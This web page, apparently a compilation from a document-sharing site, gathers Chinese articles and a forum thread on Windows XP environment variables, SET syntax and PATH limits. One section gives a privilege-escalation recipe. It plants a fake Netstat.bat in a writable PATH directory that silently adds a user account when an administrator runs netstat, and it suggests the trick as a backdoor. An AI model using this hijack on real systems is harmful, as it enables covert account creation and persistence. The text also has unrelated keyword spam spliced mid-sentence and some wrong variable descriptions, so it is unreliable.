首页 WIDOWS环境变量

WIDOWS环境变量

举报
开通vip

WIDOWS环境变量WINDOWS 环境变量与重启 经常看到一些软件的安装说明上写着,修改Windows的环境变量,然后重新启动计算机。这让人不禁产生疑问,修改环境变量之后真的要重启吗? 其实只要理解了环境变量的原理就可以做出正确的判断。环境变量是一些系统变量,这些变量对运行的任意一个程序都有效。最简单的确认方法就是 cmd.exe 程序。单击“开始”->“运行”,然后输入 cmd,回车,在启动的命令行窗口中输入 set,之后就可以看到一大堆各种各样的环境变量显示在屏幕上。而修改环境变量则是通过“控制面板”->“系统”->“高级”->...

WIDOWS环境变量
WINDOWS 环境变量与重启 经常看到一些软件的安装说明上写着,修改Windows的环境变量,然后重新启动计算机。这让人不禁产生疑问,修改环境变量之后真的要重启吗? 其实只要理解了环境变量的原理就可以做出正确的判断。环境变量是一些系统变量,这些变量对运行的任意一个程序都有效。最简单的确认方法就是 cmd.exe 程序。单击“开始”->“运行”,然后输入 cmd,回车,在启动的命令行窗口中输入 set,之后就可以看到一大堆各种各样的环境变量显示在屏幕上。而修改环境变量则是通过“控制面板”->“系统”->“高级”->“环境变量”对话框进行的。 这里要理解的是,一个程序启动时,环境变量被复制到该程序所在的环境中,在该程序执行过程中不会被除该程序以外的其他程序所改变。也就是说,假设我们启动了一个cmd程序,然后通过控制面板修改了环境变量设置,但是已经启动了的cmd所拥有的环境变量并不会被改变。如果我们在修改环境变量之后启动cmd程序,则该程序将拥有新的环境变量。 那么结论就很明显了:修改环境变量之后,如果受影响的是应用程序,那么只要简单地重新启动此应用程序,环境变量的修改就会反映到该程序中,而不必重新启动计算机;但是,如果受影响的是系统服务,就必须重新启动才能将环境变量的修改反映到系统服务中(因为没有办法在不重启计算机的情况下重新启动系统服务管理器)。 XP下的环境变量 在一些批处理或者系统技巧操作教程文章中,我们常常会看到一些形如 %windir% 或者 %systemdrive% 的变量。这些变量都代表着什么含义呢?下面西部e网的icech为大家整理了在Windows XP下系统变量方式表达相对应的路径,大家可以看得更加清楚明白了!     说明:系统文件盘为C盘,操作系统为Windows XP、登录用户名为weste、计算机名为icech   说明:不同的操作系统如Windows XP和Windows 2000相对应的一些路径是不同的,这里只介绍WinXP相对应的路径!     %AllUsersProfile%   说明:所有用户的配置文件总目录   对应路径:C:Documents and SettingsAll Users     %USERPROFILE%   说明:指当前用户的配置文件目录   对应路径:C:Documents and Settingsweste     %HOMEPATH%   说明:指当前用户的配置文件目录   对应路径:C:Documents and Settingsweste     %systemdrive%   说明:系统所在盘   对应路径:C:     %HOMEDRIVE%   说明:系统所在盘   对应路径:C:     %windir%   说明:系统所在目录   对应路径:C:WINDOWS     %SystemRoot%   说明:Windows所在目录   对应路径:C:WINDOWS     %Temp%   说明:这个是系统的临时文件夹所在目录   对应路径:C:Documents and SettingsownerLocal SettingsTemp     %Tmp%   说明:这个是系统的临时文件夹所在目录   对应路径:C:Documents and SettingsownerLocal SettingsTemp     %ProgramFiles%   说明:Program Files程序安装目录   对应路径:C:Program Files     %commonprogramfiles%   说明:Common Files目录   对应路径:C:Program FilesCommon Files     %APPDATA%   说明:Application Data目录   对应路径:C:Documents and SettingswesteApplication Data     %ComSpec%   说明:cmd.exe文件路径   对应路径:C:WINDOWSsystem32cmd.exe     %LOGONSERVER%   说明:cmd.exe文件路径   对应路径:icech     同时,以上变量设置还可以通过在CMD状态下输入set命令查看。而且可以在鼠标右键“我的电脑”,选择“系统属性-高级-系统变量”,在系统变量里手工可以添加变量。 表 6.1:XP Professional 的默认环境变量 变量名 说明 ALLUSERSPROFILE 返回所有用户配置文件位置的本地变量。 APPDATA 返回应用程序在默认情况下存储数据的位置的本地变量。 CD 返回当前目录字符串的本地变量。 CMDCMDLINE 返回用于启动当前 Cmd.exe 程序的确切命令行的本地变量。 CMDEXTVERSION 返回当前命令处理器扩展的版本号的系统变量。 COMPUTERNAME 返回计算机名称的系统变量。 COMSPEC 将精确路径返回给命令外壳可执行文件的系统变量。 DATE 返回当前日期的系统变量。该变量与 date /t 命令使用相同的格式。Cmd.exe 程序生成此变量。有关详细信息,请参阅 Date 命令。 ERRORLEVEL 返回最近使用命令的错误代码的系统变量。非零值通常表示错误。 HOMEDRIVE 返回用户主目录的本地工作站驱动器号的系统变量。此变量是基于在组中为“本地用户”和“组”指定的主目录值设置的。 HOMEPATH 返回用户主目录的完整路径的系统变量。此变量是基于在组中为“本地用户”和“组”指定的主目录值设置的。 HOMESHARE 返回用户共享主目录的网络路径的系统变量。此变量是基于在组中为“本地用户”和“组”指定的主目录值设置的。 LOGONSEVER 本地变量,返回验证当前登录会话的域控制器的名称。 NUMBER_OF_PROCESSORS 指定计算机上安装的处理器数目的系统变量。 OS 返回操作系统名称的系统变量。Windows XP Professional 将操作系统显示为 Microsoft Windows NT。 PATH 指定可执行文件的搜索路径的系统变量。 PATHEXT 系统变量,返回操作系统将其视为可执行文件的文件扩展名的列表。 PROCESSOR_ARCHITECTURE 返回处理器芯片结构的系统变量。值:x86、IA64。 PROCESSOR_IDENTFIER 返回处理器描述的系统变量。 PROCESSOR_LEVEL 返回计算机处理器型号的系统变量。 PROCESSOR_REVISION 返回处理器修订号的系统变量。 PROMPT 返回当前解释程序的命令提示设置的本地变量。由 Cmd.exe 生成。 RANDOM 返回 0 到 32767 之间的随机十进制数的系统变量,由 Cmd.exe 程序生成。 SYSTEMDRIVE 返回包含 Windows 根目录(例如,系统根目录)的驱动器的系统变量。 SYSTEMROOT 返回 Windows 根目录位置的系统变量。 TEMP 或 TMP 系统和用户变量,返回当前登录的用户可以使用的应用程序的默认临时目录。某些应用程序需要使用 TEMP,而其他应用程序需要使用 TMP。 TIME 返回当前时间的系统变量。该变量与 time /t 命令使用相同的格式,并由 Cmd.exe 生成。有关详细信息,请参阅 Time 命令。 USERDOMAIN 返回包含用户帐户的域的名称的本地变量。 USERNAME 返回当前登录用户名的本地变量。 USERPROFILE 返回当前用户配置文件位置的本地变量。 WINDIR 返回操作系统目录位置的系统变量。 windows环境变量 详解 2008年05月22日 星期四 上午 09:29 英文来源:http://techrepublic.com.com/5100-10877_11-5986211.html?tag=nl.e064 2005.12.09 第1版 Keywords: Windows XP | Microsoft Windows | Network administration/implementation 关键字:Windows XP | Microsoft Windows | 网络管理/实施 Takeaway: Windows XP's environment variables control the behavior of batch files and programs, and also control the way Windows XP and the MS-DOS subsystem appears and works. Check out this list of environment variables, along with their descriptions. 概述: Windows XP的环境变量控制了批处理文件和程序的行为,也控制了Windows XP和MS-DOS子系统的显示和工作方式。检阅这个环境变量列表,连同它们的描述。 《endurer注:1。check out v. 付帐后离开, ,检验, 合格, 及格 2。along with 连同...一起, 随同...一起》 Environment variables are used to control the behavior of batch files and programs in Windows XP; they also control the way Windows XP and the MS-DOS subsystem appears and works. To see a complete list of the environment variables that are active on a Windows XP system, follow these steps: 环境变量用于控制Windows XP里的批处理文件和程序的行为,也控制了Windows XP和MS-DOS子系统的显示和工作方式。要看在Windows XP系统中现行的完整环境变量列表,请按下列步骤操作: Open a Command Prompt window. 打开一个命令提示符窗口。 Type Set and press [Enter]. 输入Set命令并回车。 You'll see a list of the current environment variable settings. While some of them are familiar, such as PATH, and some are easy to figure out, such as COMPUTERNAME, others are more cryptic. Here's a sampling of Windows XP's environment variables: 你将看到当前环境变量设置列表。其中一些是熟悉的,如PATH,有一些容易领会,如COMPUTERNAME,其它的则较模糊。这是一个 《endurer注:1。figure out 合计为, 计算出, 解决, 断定, 领会到》 ALLUSERSPROFILE: Lists the location of the All Users Profile. ALLUSERSPROFILE:列出所有用户Profile文件位置。 APPDATA: Lists the location where applications store data by default. APPDATA: 列出应用程序数据的默认存放位置。 CD: Lists the current directory string. CD: 列出当前目录。 CLIENTNAME: List the client's NETBIOS name when connected to terminal server session. CLIENTNAME: 列出联接到终端服务会话时客户端的NETBIOS名。 CMDCMDLINE: Lists the command line used to start the current cmd.exe. CMDCMDLINE: 列出启动当前cmd.exe所使用的命令行。 CMDEXTVERSION: Lists the version number of the current Command Processor Extensions. CMDEXTVERSION: 命令出当前命令处理程序扩展版本号。 CommonProgramFiles: Lists the path to the Common Files folder. CommonProgramFiles: 列出了常用文件的文件夹路径。 COMPUTERNAME: Lists the name of the computer. COMPUTERNAME: 列出了计算机名。 COMSPEC: Lists the path to the command shell executable. COMSPEC: 列出了可执行命令外壳(命令处理程序)的路径。 DATE: Lists the current date. DATE: 列出当前日期。 ERRORLEVEL: Lists the error code of the most recently used command. ERRORLEVEL: 列出了最近使用的命令的错误代码。 HOMEDRIVE: Lists the drive letter is connected to the user's home directory. HOMEDRIVE: 列出与用户主目录所在的驱动器盘符。 HOMEPATH: Lists the full path of the user's home directory. HOMEPATH: 列出用户主目录的完整路径。 HOMESHARE: Lists the network path to the user's shared home directory. HOMESHARE: 列出用户共享主目录的网络路径。 LOGONSEVER: Lists the name of the domain controller that validated the current logon session. LOGONSEVER: 列出有效的当前登录会话的域名控制器名。 NUMBER_OF_PROCESSORS: Lists the number of processors installed on the computer. NUMBER_OF_PROCESSORS: 列出了计算机安装的处理器数。 OS: Lists the name of the operating system. (Windows XP and Windows 2000 list the operating system as Windows_NT.) OS: 列出操作系统的名字。(Windows XP 和 Windows 2000 列为 Windows_NT.) Path: Lists the search path for executable files. Path: 列出了可执行文件的搜索路径。 PATHEXT: Lists the file extensions that the operating system considers to be executable. PATHEXT: 列出操作系统认为可被执行的文件扩展名。 PROCESSOR_ARCHITECTURE: Lists the processor's chip architecture. PROCESSOR_ARCHITECTURE: 列出了处理器的芯片 架构 酒店人事架构图下载公司架构图下载企业应用架构模式pdf监理组织架构图免费下载银行管理与it架构pdf 。 PROCESSOR_IDENTFIER: Lists the description of the processor. PROCESSOR_IDENTFIER: 列出了处理器的描述。 PROCESSOR_LEVEL: Lists the model number of the computer's processor. PROCESSOR_LEVEL: 列出了计算机的处理器的型号。 PROCESSOR_REVISION: Lists the revision number of the processor. PROCESSOR_REVISION: 列出了处理器的修订号。 ProgramFiles: Lists the path to the Program Files folder. ProgramFiles: 列出了Program Files文件夹的路径。 PROMPT: Lists the command-prompt settings for the current interpreter. PROMPT: 列出了当前命令解释器的命令提示设置。 RANDOM: Lists a random decimal number between 0 and 32767. RANDOM: 列出界于0 和 32767之间的随机十进制数。 SESSIONNAME: Lists the connection and session names when connected to terminal server session. SESSIONNAME: 列出连接到终端服务会话时的连接和会话名。 SYSTEMDRIVE: Lists the drive containing the Windows root directory. SYSTEMDRIVE: 列出了Windows启动目录所在驱动器。 SYSTEMROOT: Lists the location of the Windows root directory. SYSTEMROOT: 列出了Windows启动目录的位置。 TEMP and TMP: List default temporary directories for applications that are available to users who are currently logged on. TEMP and TMP: 列出了当前登录的用户可用应用程序的默认临时目录。 TIME: Lists the current time. TIME: 列出当前时间。 USERDOMAIN: Lists the name of the domain that contains the user's account. USERDOMAIN: 列出了包含用户帐号的域的名字。 USERNAME: Lists the name of the user currently logged on. USERNAME: 列出当前登录的用户的名字。 USERPROFILE: Lists the location of the profile for the current user. USERPROFILE: 列出当前用户Profile文件位置。 WINDIR: Lists the location of the OS directory. WINDIR: 列出操作系统目录的位置。 详解如何在提权中利用环境变量 首先,我们先了解下什么叫环境变量! 环境变量一般是指在操作系统中用来指定操作系统运行环境的一些参数,比如临时文件夹位置和系统文件夹位置等等。这点有点类似于dos时期的默认路径,当你运行某些程时序除了在当前文件夹中寻找外,还会到设置的默认路径中去查找。比如说环境变量中的“Path”就是一个变量,里面存储了一些常用命令所存放的目录路径。 查看系统当前的环境变量,可以使用SET命令查看! 下面是执行SET命令后反馈的信息 ALLUSERSPROFILE=C:\Documents and Settings\All Users APPDATA=C:\Documents and Settings\Administrator\Application Data CLIENTNAME=Console CommonProgramFiles=C:\Program Files\Common Files COMPUTERNAME=145F63CA0A6F46D ComSpec=C:\WINDOWS\system32\cmd.exe FP_NO_HOST_CHECK=NO HOMEDRIVE=C: HOMEPATH=\Documents and Settings\Administrator LOGONSERVER=\\145F63CA0A6F46D NUMBER_OF_PROCESSORS=2 OS=Windows_NT Path=D:\Progra~1\Borland\Delphi7\Bin;D:\Progra~1\Borland\Delphi7\Projects\Bpl\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem PATHEXT=.COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH PROCESSOR_ARCHITECTURE=x86 PROCESSOR_IDENTIFIER=x86 Family 6 Model 15 Stepping 6, GenuineIntel PROCESSOR_LEVEL=6 PROCESSOR_REVISION=0f06 ProgramFiles=C:\Program Files PROMPT=$P$G SESSIONNAME=Console SystemDrive=C: SystemRoot=C:\WINDOWS TEMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp TMP=C:\DOCUME~1\ADMINI~1\LOCALS~1\Temp USERDOMAIN=145F63CA0A6F46D USERNAME=Administrator USERPROFILE=C:\Documents and Settings\Administrator windir=C:\WINDOWS ====================================================================== 我们知道,当我们把NC一类的常用小工具放在SYSTEM32时,不管我们当前路径在哪,都可以执行NC命令!------Hacking中也提供了不少方便,不是么? 其实这就是 Path 变量所起的作用了! 如果将Path变量中的内容全部删除,那么原来的系统命令系统都将无法识别了。 也就是说,当我们在CMD中输入些命令时,系统将以如下顺序查找相关程序,来达到直接调用程序或文件的目的! 1.当前目录下的可执行文件! 2.依次查找Path变量中的所指定的目录! OK,在大体认识了环境变量后,我们开始切入主 快递公司问题件快递公司问题件货款处理关于圆的周长面积重点题型关于解方程组的题及答案关于南海问题 ,谈谈如何利用环境变量为我们的Hacking提供便利。 我们知道PERL安装后会在变量Path内容的最前面加入c:\perl\bin //目录依安装而定 而当管理员权限配置不当时,会疏忽此目录的权限配置(默认权限配置,各WIN操作系统均有写权限),也就给我们创造了提权的条件。 下面我举个利用的例子! //是否可利用,取决于Path变量的位置以及该目录是否可写 //环境变量一定要在系统自带环境变量之前。 假设条件如下: 目标安装了PERL,且目录为c:\perl\bin //目录可写 系统环境变量中的Path变量内容如下 Path=c:\perl\bin\;C:\WINDOWS\system32;C:\WINDOWS;C:\WINDOWS\System32\Wbem 我们可以在该目录下创建如下文件 Netstat.cmd or Netstat.bat //常用系统命令亦可,请自己举一反三!THX~ 文件内容如下 @net user netpatch nspcn.org /add>nul Rem 命令一定要记得加 @ 结尾加 >nul Rem @是为了隐藏命令本身 Rem >nul 是为了隐藏命令执行完后的结果反馈! @%systemroot%\system32\netstat.exe %1 %2 %3 %4 %5 %6 Rem 学过批处理命令的同学应该知道这后面的%1 %2 %3等,是起 参数的作用 当管理员执行命令时,由于Path变量中c:\perl\bin位于系统环境变量的前面,所以,当管理员执行Netstat命令时,系统会首先找当前目录下的可执行文件,默认也就是”C:\Documents and Settings\Administrator\” (依登陆用户而定)当没找到Netstat程序时,就会接着依次寻找环境变量中的Path变量中所定义的目录,第一个当然是c:\perl\bin目录啦..由于系统找的是可执行程序,SO…自然而然的找到了我们的Netstat.bat,然后系统也就理所当然的执行了我们设置好的命令。由于我们构造的巧妙,未露丝毫马脚..成功暗地提权….. 此乃三十六计中的暗渡陈仓也…. 提权的小技巧讲完了…聪明的你或许会想到..如果作为BACKDOOR呢?呵呵~~ 为啥不可呢,有Idea就得试…没测试哪来的正果呢? Windows操作系统环境变量的玩法 2007-07-31 信息来源:超时间学习网    近日发现朋友在玩电脑时,在“运行”中输入QQ.exe,QQ便运行了。这使我感到很诧异,以前我也曾试过在“运行”中输入QQ.exe过,却不能运行。这是为什么呢?最后在朋友的点拨下我终于得到了答案。下面与大家分享。     不知大家是否注意到这样一个地方:在“系统属性/高级/环境变量”下的系统变量。我们在“系统变量”下双击变量path。系统默认的只有%SystemRoot%\system32和%SystemRoot%这个两个变量,它们分别就代表了两个目录,一是系统根目录,另一个是根目录下的system32目录。当我们在运行中输入QQ.exe的时候它会到这两个目录中查找(查找顺序以文件夹书写顺序为准),如果有就运行,没有就报错。     下面就让我们动手来打造自己的“运行”吧,比如QQ装在“E:\QQ2”下,而我们的目的是要在运行中直接输入“qq”就可以让其运行。怎么做呢?只要在“path”中增加一条语句“E:\QQ2”就行了。好了,现在再在运行中输入QQ,就可以直接运行程序了。     有朋友可能会问:当我们在“运行”中输入CMD而不是CMD.EXE的时候,系统怎么就打开CMD.EXE而不打开CMD.COM或者cmd.txt呢?其实这是由“系统变量”下的“PATHEXT”决定的。当我们在“运行”中输入CMD的时候,系统会按照“PATHEXT”中扩展名的书写顺序来一个一个匹配查找,如果有cmd.com就执行cmd.com,而不执行cmd.exe或者以其他名为cmd而扩展名不一样的文件。知道了这个规则,大家可以灵活运用以取得最佳效果。      提示:系统一但查找到相应文件便不会再去其它环境变量目录中查找,所以我们设置环境变量目录的时候也要小心。   windows下环境变量的设置 SET [variable=[string]]  variable 指定环境变量名称。  string 指定要指派给变量的一系列字符。  ********************************  仅键入 SET 而不加参数,可以显示当前的环境变量。  ********************************  如果命令扩展名被启用,SET 会如下改变:  可仅用一个变量激活 SET 命令,等号或值不显示所有前缀匹配  SET 命令已使用的名称的所有变量的值。例如:  SET P  会显示所有以字母 P 打头的变量  *********************************  如果在当前环境中找不到该变量名称, SET 命令将把 ERRORLEVEL  设置成 1。  *********************************  SET 命令不允许变量名含有等号。  在 SET 命令中添加了两个新替换:  SET /A expression  SET /P variable=[promptString]  /A 命令选项指定等号右边的字符串为被评估的数字表达式。该表达式  评估器很简单并以递减的优先权顺序支持下列操作:  () - 分组  * / % - 算数运算符  + - - 算数运算符  << >> - 逻辑移位  - 按位“与”  ^ - 按位“异”  | - 按位“或”  = *= /= %= += -= - 赋值  &= ^= |= <<= >>=  , - 表达式分隔符  ************************************  如果您使用任何逻辑或取余操作符, 您需要将表达式字符串用  引号扩起来。在表达式中的任何非数字字符串键作为环境变量  名称,这些环境变量名称的值已在使用前转换成数字。如果指定  了一个环境变量名称,但未在当前环境中定义,那么值将被定为  零。这使您可以使用环境变量值做计算而不用键入那些 % 符号  来得到它们的值。如果 SET /A 在命令脚本外的命令行执行的,  那么它显示该表达式的最后值。该分配的操作符在分配的操作符  左边需要一个环境变量名称。除十六进制有 0x 前缀, 八进制  有 0 前缀的,数字值为十进位数字。因此, 0x12 与 18 和 022  相同。请注意八进制公式可能很容易搞混: 08 和 09 是无效的数字,  因为 8 和 9 不是有效的八进制位数。  /P 命令选项允许将变量数值设成用户输入的一行输入。读取输入  行之前,显示指定的 promptString。promptString 可以是空的。  环境变量替换已如下增强:  %PATH:str1=str2%  会扩展 PATH 环境变量,用 "str2" 代替扩展结果中的每个 "str1"。  要有效地从扩展结果中删除所有的 "str1","str2" 可以是空的。  "str1" 可以以星号打头;在这种情况下,"str1" 会从扩展结果的  开始到 str1 剩余部分第一次出现的地方,都一直保持相配。  也可以为扩展名指定子字符串。  %PATH:~10,5%  会扩展 PATH 环境变量,然后只使用在扩展结果中从第 11 个(偏  移量 10)字符开始的五个字符。如果没有指定长度,则采用默认  值,即变量数值的余数。如果两个数字(偏移量和长度)都是负数,  使用的数字则是环境变量数值长度加上指定的偏移量或长度。  %PATH:~-10%  会抽取 PATH 变量的最后十个字符。  %PATH:~0,-2%  会抽取 PATH 变量的所有字符,除了最后两个。  终于添加了延迟环境变量扩充的支持。该支持总是按默认值被  停用,但也可以通过 CMD.EXE 的 /V 命令行命令选项而被启用/停用。  请参阅 CMD /?  考虑到读取一行文本时所遇到的目前扩充的限制时,延迟环境  变量扩充是很有用的,而不是执行的时候。以下例子说明直接  变量扩充的问题:  set VAR=before  if "%VAR%" == "before" (  set VAR=after;  if "%VAR%" == "after" @echo If you see this, it worked  )  不会显示消息,因为在读到第一个 IF 语句时,BOTH IF 语句中  的 %VAR% 会被代替;原因是: 它包含 IF 的文体,IF 是一个  复合语句。所以,复合语句中的 IF 实际上是在比较 "before" 和  "after",这两者永远不会相等。同样。以下这个例子也不会达到  预期效果:  set LIST=  for %i in (*) do set LIST=%LIST% %i  echo %LIST%  原因是,它不会在目前的目录中建立一个文件列表,而只是将  LIST 变量设成找到的最后一个文件。这也是因为 %LIST% 在  FOR 语句被读取时,只被扩充了一次;而且,那时的 LIST 变量  是空的。因此,我们真正执行的 FOR 循环是:  for %i in (*) do set LIST= %i  这个循环继续将 LIST 设成找到的最后一个文件。  延迟环境变量扩充允许您使用一个不同的字符(惊叹号)在执行  时间扩充环境变量。如果延迟的变量扩充被启用,可以将上面  例子写成以下所示,以达到预期效果:  set VAR=before  if "%VAR%" == "before" (  set VAR=after  if "!VAR!" == "after" @echo If you see this, it worked  )  set LIST=  for %i in (*) do set LIST=!LIST! %i  echo %LIST%  ************************************************  如果命令扩展名被启用,有几个动态环境变量可以被扩展,但  不会出现在 SET 显示的变量列表中。每次变量数值被扩展时,  这些变量数值都会被动态计算。如果用户用这些名称中任何  一个定义变量,那个定义会替代下面描述的动态定义:  %CD% - 扩展到当前目录字符串。  %DATE% - 用跟 DATE 命令同样的格式扩展到当前日期。  %TIME% - 用跟 TIME 命令同样的格式扩展到当前时间。  %RANDOM% - 扩展到 0 和 32767 之间的任意十进制数字。  %ERRORLEVEL% - 扩展到当前 ERRORLEVEL 数值。  %CMDEXTVERSION% - 扩展到当前命令处理器扩展名版本号。  %CMDCMDLINE% - 扩展到调用命令处理器的原始命令行。 修改Windows环境变量 hdt511 发表于: 2006-08-11 13:08 来源:原创  X度:0  浏览:(1126)  评论:(0) 不少朋友经常问我使用Windows为什么可以比较稳定,而他们却经常出现问题(不管是什么版本),我帮他们整理系统的时候发现,有一个容易忽略但却最容易导致系统不稳定的设置,就是Windows的环境变量。Windows默认的环境变量都是在系统盘。在Windows使用过程中,会产生大量的系统文件,侵吞系统盘的空间;不少临时文件随着程序的安装或使用而不断产生、删除,这会导致系统盘磁盘碎片的不断增加。两种情况的叠加,非常容易造成本身就不稳定的系统出现问题。   下面以Windows XP为例,介绍一下怎么样移动Windows的环境变量路径,用最简单的方法增加系统的稳定性。   Windows XP系统支持多用户操作,并且支持中文方式的用户名称,在Windows XP中,不同用户的用户变量默认方式为:Windows XP系统安装目录:\Documents and Settings\用户名\localSettings\Temp",如果采用的用户名为"周进",那么所用的用户变量就是"D:\Documents and Settings\周进\Local Settings\Temp"。   一般情况下,当运行应用软件的安装程序时,安装程序会将文件解压缩到这个目录中,但是由于部分安装程序对包含有中文名称的路径方式不支持或支持不好,如果用户在Windows XP系统中建立了中文方式的用户名称,那么安装程序还会出现找不到路径的错误。   怎样避免上述三种错误的发生呢?具体的修改方法是:   单击"开始"菜单,在"我的电脑"图标上单击鼠标右键,从右键菜单中选择"属性"命令,打开"系统属性"对话窗口,单击"高级"标签卡,在"高级"设置页面中单击"环境变量",进入"环境变量"设置窗口,此时可以看到在窗口上方的"用户的用户变量"列表框中显示了用户变量TEMP和TMP的设置情况,用户可在此单击"编辑"按钮对TEMP和TMP的变量值进行修改,将变量值由"%USERPROFILE%\Local Settings\Temp"改为"D:\Temp",修改完成后单击"确定"按钮退出。重新启动Windows XP系统即可应用修改后的环境变量了。   以后还应不定期的到修改后的路径将大量的临时文件删除,以节约磁盘空间,避免系统出错。   Windows环境变量的理解   介绍    环境变量,我个人的理解就是操作系统提供命令运行的寻找路径,设置好环境变量(包括系统环境和用户环境,这两种变量在运行时,是两者的叠加效果),有利于文件的搜索,并方便系统命令和用户命令的调用。   1. cmd中设置path   在cmd中设置只对当前的cmd命令运行窗口有效,关闭当前窗口后,原先的命令设置都不起作用。这就好象word中对文件格式风格的设置不会影响到下一次文档编辑的效果一样。也就是说,cmd中的设置都是些temp设置,而命令运行窗口初始化path是通过系统环境和用户环境两者的参数实现的。   ①查看环境变量   C:\> set   ②查看某一个环境变量   C:\>set path   ③创建一个环境变量   C:\>set xxw=c:\winnt   ④删除一个环境变量   C:\>set xxw=   ⑤更改一个环境变量    如果是追加方式,就可用C:\>set xxw=%path%;c:\new    如果是完全修改,则可用③   2.在winxp中UI修改环境变量    “电脑”à“属性”à……… HYPERLINK "http://www.wangchao.net.cn/bbsdetail_149018.html" \t "_blank"   然后可以自己可以修改用户变量和系统环境变量了。   3. 几点注意   ①”.”表示当前目录,”..”表示上一级目录   ②环境变量的值和环境变量不要加空格,不要用中文表示,这个要推荐一下,以免将来发生莫名其妙的现象百思不解。   其它的还没想到,请大家多指教。 请问Windows的环境变量Path的值超过了1024个字节,安装其他软件时,就无法再进行下去,该如何是好?! 楼主drunkard(见到美眉腿就软,临门一脚总射偏!)2004-07-12 22:36:08 在 Windows专区 / Windows NT/2000/XP/2003 提问 如题,我烦透了,装的软件多了,很快Path环境变量就轻易突破1024Bytes,于是再装某些非要向Path环境变量里填写新路径的软件时,就会出错,报说:环境变量的值已超满,无法再设置该值。我去看了,Path里的路径字符串值都有用,已经没法再缩减删改了。而我又不能每次都用某软件时手动添改这个Path里的值吧?请问遇到这种情况该怎么办才好呢?1024个字节可是轻易就被超标的呀!真的该如何是好呢? 问题点数:100、回复次数:18Top 1 楼sunnyrain(旭雨)回复于 2004-07-12 22:46:33 得分 10 你怎么会装这么多软件呢?看看那些软件已经卸掉了,就从path里面把路径删掉吧,或者把一部分拿出来,做成批处理文件放到启动里,也只能用这个笨方法了Top 2 楼jin0706(MSMVP-努力&开心everyday,有事PM我^_^)回复于 2004-07-12 23:10:55 得分 5 那里需要那么多的搜索路径?你仔细看看path环境变量里的内容,不必要的就删掉   3 楼ytstudio(进入潜水阶段)回复于 2004-07-12 23:21:19 得分 5 安装软件的时候自定义路径,路径越短越好。Top 4 楼8193102(多多)回复于 2004-07-12 23:27:34 得分 5 兄弟,你想想办法,有的软件的路径关联到注册表中去吧...Top 5 楼drunkard(见到美眉腿就软,临门一脚总射偏!)回复于 2004-07-13 12:34:12 得分 0 真没想到,各位兄弟们都没用过这么多软件吗?我可是两个120MB大硬盘,大大小小的软件至少装了几十个,估计也差不多近百个了,常用软件在我这里的都能找到,往往在别人机子里找不到的软件,正好在我机子里就有。朋友们,软件是多多益善呀,我实在也没办法,楼上有兄弟说要把某些软件关联到注册表里,具体怎么关联呢?想必手工搞也很麻烦吧?我现在Path环境变量超标了,还真就没办法了!烦恼呀!     请各位帮着出出招,另外,怎么更好地编辑和理顺Path环境变量(就是把那些个设置的路径字符串变量给整理好),请多加指教!         请各位兄弟一定要帮帮俺呀!事已至此,那该怎么办才好呢?!唉~~~~Top 6 楼sunnyrain(旭雨)回复于 2004-07-13 15:26:08 得分 10 编辑AUTOEXEC.BAT     在里面加一句:Path=%PATH%;c:\windows;d:\program   files;....(具体内容从你的环境变量里面取出来)     然后放到启动里面或加到注册表的启动项里面Top 7 楼8193102(多多)回复于 2004-07-13 23:43:30 得分 15 不知道兄弟用的是什么操作系统:     你把下面的内容写成一个注册码文件:     Windows   Registry   Editor   Version   5.00         [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App   Paths\hs.exe]     "PATH"="C:\\SQLAny50\\Shared;C:\\SQLAny50\\Win32;"     其中hs.exe表示你要使用指定路径的应用程序,PATH后面的内容表示这个应用程序要用到的路径,然后双击它注册到注册表中即可.     你也可以打开注册表中的这个位置研究一下,就知道了.系统中有许多软件都是把路径写到这个位置的,等于说系统运行时,也会到注册表中去找这个东西,如果找到了,就不用到系统变量中去寻找了.相信在WIN98下,你只要找到了,倒出一下,或者在这里进行手工添加,你就不会有你的这个麻烦问题了.     我写的软件就是这样注册路径的.Top 8 楼xjp6688(大平/要做必须最好)回复于 2004-07-14 08:13:12 得分 5 %systemroot%\tmp         等于     c:\windows\tmpTop 10 楼Aceryt(双子星·上海公干)回复于 2004-07-14 11:14:13 得分 10 Path=%PATH%;c:\windows;d:\program   files;....         开始考虑过,但这样不是一样将原来的%Path%内容加到Path中吗,设想了一下,如果这样可以的话,不是可以无限增加Path字串长度了。Top 11 楼drunkard(见到美眉腿就软,临门一脚总射偏!)回复于 2004-07-14 11:59:13 得分 0 to   Aceryt(上天行风·风平气和)   :        Path=%PATH%;c:\windows;d:\program   files;....        你这里的%PATH%,我的理解是跟".",也就是当前目录是一个意思。        我的意思是:     Path=.;c:\windows;d:\program   files;....     跟你的:     Path=%PATH%;c:\windows;d:\program   files;....     是一回事,不知这样理解是否对?        另外,用%Syetem%来代替\Windows,也是节省不了字节的。我也这样认为。        12 楼Aceryt(双子星·上海公干)回复于 2004-07-14 12:03:58 得分 10 :)   我可能没说清楚,我是在思考楼上sunnyrain(旭雨)提出的方法。        Path=%PATH%;c:\windows;......     用中文解释是     在原来Path变量内容后增加;c:\windows;.....        我觉得似乎不太可行,你可以测试一下。Top 13 楼drunkard(见到美眉腿就软,临门一脚总射偏!)回复于 2004-07-14 12:10:12 得分 0 我的Path环境变量的设置就是用的你所说的:        Path=%PATH%;%system%;%system%\system32;......        这样的形式,但还是安装软件时报说它超过了1024字节,无法再写进去了。Top 14 楼8193102(多多)回复于 2004-07-14 16:44:41 得分 20 楼主啊,       Windows   Registry   Editor   Version   5.00         [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App   Paths\hs.exe]     "PATH"="C:\\SQLAny50\\Shared;C:\\SQLAny50\\Win32;"         这个部分就是针对Windows2000/Xp等NT内核的你只要写成注册表即可其中hs.exe等于你的具体的程序,PATH"="C:\\SQLAny50\\Shared;C:\\SQLAny50\\Win32;"等于给你指定的程序指定辅助的路么你有兴趣到系统注册表里去看看里面有很多软件都用到这个东东,     现在软件这么多如果都放到PATH变量里,   我看PATH变量     弄个几兆都成问题。   如果你还有不明白的地方也可以联系我,QQ:30952787   windows环境变量与链接 [原创 2008-08-06 10:52:26] 最近新建文件的次数有些多,而要保存的路径还比较深,点鼠标点的麻烦的很,所以就直接在桌面加了个对应文件夹的快捷方式,爽多了…… 然后就想看一下在cmd里怎么用命令直接建立类似方式的连接,查了一下类似linux,有软链接和硬链接,如下: 软链接 